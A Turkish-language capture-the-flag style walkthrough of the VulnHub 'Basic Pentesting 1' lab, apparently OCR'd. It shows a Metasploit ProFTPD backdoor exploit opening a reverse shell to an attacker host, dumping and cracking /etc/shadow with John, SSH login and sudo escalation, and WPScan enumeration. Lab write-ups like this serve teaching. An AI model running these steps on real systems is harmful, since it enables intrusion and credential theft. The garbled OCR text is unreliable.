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CSEC Temel Pentesting 1

Temel pentesting 1 (CSEC)

CSEC, trusthub'da bulunan savunmasiz bir makinedir. https.//www.vulnhub.com/entry/basic-
pentesting-1,216/ Josiah Pierce'a ¢ok tesekklirler

:~# nmap -sV -T4 192.168.56.104
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-88 11:40 EDT

Nmap scan report for 192.168.56.104

Host is up (@.00013s latency).

Not shown: 997 closed ports

PORT  STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.3c¢

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

MAC Address: ©8:00:27:A2:DB:3F (Oracle VirtualBox virtual NIC)

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap kullanarak bir baglanti noktasi ve surim taramasi ile bagladim. Gérdugumuz gibi,
duzenli olarak kullanilan birkag liman ortaya ¢ikti.

e baglanti noktasi 21 - ftp
e baglanti noktasi 22 - ssh
e baglanti noktasi 80 - http

Nmap tarafindan dondurulen hizmet strumlerinde FTP'den baslayarak dusuk meyveli meyve
olup olmadigini gérmek igin searchsploit kullandim.

searchsploit proftpd-1.3.3c

Geri gelen, arka kapi komutunun yarutalmesi icin bir Metasploit modulu idi. Metasploit'i
Baslatma Modll i¢in bir arama komutu calistirdim, kullanmak igin atadim ve parametreleri
ayarladim.

msf5 > search proftpd
use unix/ftp/proftdp_133c_backdoor

set RHOSTS <ip>

istismar i¢in herhangi bir secenegi g6z ardi edip etmedigimi gérmek icin eksik programi
gOster komutunu kullandim ve her seyin dogru oldugundan emin
oldugumda, ¢alistirmayi yazdim ve saldirimi baslattim.
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msf5 exploit( ) > run

Started reverse TCP double handler on 192.168.56.101:4444
192.168.56.104:21 - Sending Backdoor Command

Accepted the first client connection ...

Accepted the second client connection ...

Command: echo jHvQFE8wqrVnnf7n;

Writing to socket A

Writing to socket B

Reading from sockets ...

Reading from socket B

B: "jHvQFESwgrVnnf7n\r\n"

Matching ...

A is input ...

Command shell session 1 opened (192.168.56.101:4444 — 192.168.56.104:36676) at 2020-04-88 11:36:21 -0400

whoami
root

Ters tcp kabugu basarili oldu. Bir whoami komutu verdikten ve kok donusunu izledikten sonra,
baska hangi yollari bulabilecegimi gérmenin zamani gelmisti.

Arka kapim zaten yerinde iken, karma sifreleri cekmeye ve ¢evrimdigl kirmaya ¢alistim. / Etc /
shadow ve / etc / passwd Uzerinde bir cat komutu ¢alistirdim ve ¢iktiyi sirasiyla shadow.txt ve
passwd.txt adli saldiran makinemdeki .txt dosyalarina kopyaladim.

Command shell session 2 opened (192.168.56.101:4444 — 192,168.56.104:36682) at 2020-04-08 11:51:22 -0400

cat /etc/passwd root@kali: ~/VulnHub/csec

root:x:@:@:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin: /usr/shin/
bin:x:2:2:bin:/bin:/usr/sbin/nologin e
sys:x:3:3:sys:/dev:/usr/sbin/nologin root@kali: ~/VulnHubjcsec &
sync:x:4:65534:sync:/bin:/bin/sync # cat passwd.txt
games:x:5:60:games: /usr/games: /usr/sbin/ |GG B root:/root:/bin/bash
man:x:6:12:man:/var/cache/man: /usr/sbin/
lp:x:7:7:1p:/var/spool/1pd: fusr/sbin/nol
mail:x:8:8:mail:/var/mail:/usr/sbin/nolo
news:x:9:9:news:/var/spool/news:/usr/sbi
uucp:x:10:1@:uucp: /var/spool/uucp: /usr/s
proxy:x:13:13:proxy: /bln /usr/sbln/nolog

File Actions Edit View Help

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin
SYS:X: 3 3 Sys: /dev /usr/sbln/nologln

Makineme bir terminal penceresinde geri passwd.txt ve shadow.txt

dosyalarindaki unshadow komutunu kullandim . Bu parola kirma yardimci programi Ripper
John igin bigimlendirilmig jtr-hash.txt adli bir dosya yaratti. Sonra John'u baslatmak igin
komutlar galistirdim ve hashed dosyama igaret ettim.

unshadow passwd.txt shadow.txt > jtr-hash.txt

john jtr-hash.txt

Bir minuets hash catladi. Ben sadece kirik vardi hash dosyasi igin kullanici ve sifre
goruntulemek i¢in sonraki komutu kostu.

john --show jtr-hash.txt

# john jtr-hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 &x])
[T} password hashes left to crack (see FAQ)
# john -—show jtr-hash.txt

marllnsplke LE A s : 1000 : 1800 :marlinspike, ,,:/home/marlinspike:/bin/bash

1 password hash cracked, @ left

Ciktida gorebildigimiz gibi kullanici adi ve sifre ayniydi. Bazen zayiflik olabilen basit
seyler. Yalnizca kullanici adini kullanarak SSH'yi zorlayabilir ve ayni erigimi elde etmis



olabilirim!
Her neyse simdi kimlik bilgilerim oldudu igin, odaklanan SSH hizmetine odaklandim ve giris
yapmaya c¢alistim.

ssh marlinspike@192.168.56.102 password:marlinspike

# ssh marlinspike@192.168.56.104
The authent1c1ty of host '192.168.56.104 (192.168.56.104)' can't be established.
ECDSA key fingerprint is SHA256:VpmqtJLBtzleV/ibg84tX0hax9+PC3nojkEOPOVhdIU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104"' (ECDSA) to the list of known hosts.
marlinspike@192.168.56.104"s password:
Welcome to Ubuntu 16.84.3 LTS (GNU/Linux 4.1@.0-28-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

19 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

marlinspikeavtcsec:~$ ||

Elbette ise yaradi ve tum bilgisayar korsanlarinin sdyledigi gibi... IM IN. Son bir sudo
su komutu verdim ve sifreyi kullanarak bir kok kabuga erigim verildi .

marlinspikeqvtcsec:~$ sudo su

[sudo] password for marlinspike:
rootgvtcsec: /home/marlinspike#t whoami
root

Simdi biraz daha durtme firsati geldi. HTTP hizmeti icin varsayilan agilig sayfasini
buldugumdan ve meraktan dolayi ne bulabilecegimi gormek igin birka¢ anahtar dizin

numaralandirmaya basladim.

cd /var/www/html

WordPress hizmeti calistiran secret adinda bir dizin buldum!

marlinspikeavtcsec:

marlinspikedvtcsec: $ cd html
marlinspike@vtcsec: $1s
index.html

marlinspikegvtcsec: $ cd secret

marlinspike@vtcsec: $ 1s

index.php wp=-Lload.php wp=-signup.php
license.txt wp-blog-header.php wp-cron.php wp-Llogin.php wp-trackback.php
readme.html wp-comments-post.php wp-mail.php xmlrpc.php
wp-activate.php wp-config.php wp-links-opml.php wp-settings.php
marlinspikeavtesec: $ 1

Simdi bu 'gizli' WordPress'in hangi portta ¢alistigini kontrol etmek istedim.

netstat -tupln | grep LISTEN



marlinspikedvtcsec: $ netstat -tupln | grep LISTEN
(Not all processes could be identified, non-owned process info

will not be shown, you would have to be root to see it all.)

tcp 0.0.0.0:21 0.0.0.0:

tcp 0.0.0.0:22 .0.0.0:

tcp p 127.0.0.1:631
tcp 127.0.0.1:3306
tcpb SiEE D

tcpb p ::1:631

tcpb ::: 80

Localhost Uzerinde ¢alistigini belirledikten sonra WordPress, WPScan icin harika bir

numaralandirma araci kullandim .

wpscan -e --url http://192.168.56.102/secret

:~# wpscan -e —url http://192.168.56.104/secret
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Potansiyel olarak savunmasiz tema ve surimler dahil olmak Uzere bir¢ok yararli bilgi
dondurdu. Ama ayni zamanda biraz daha hacker altin verdi .

] admin
Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Confirmed By: Login Error Messages (Aggressive Detection)

Yine WordPress girig formu igin varsayilan bir kullanici adi kaldi. Hizli bir kontrolin ardindan
kullanici adinin da sifre oldugunu dogruladim. :)



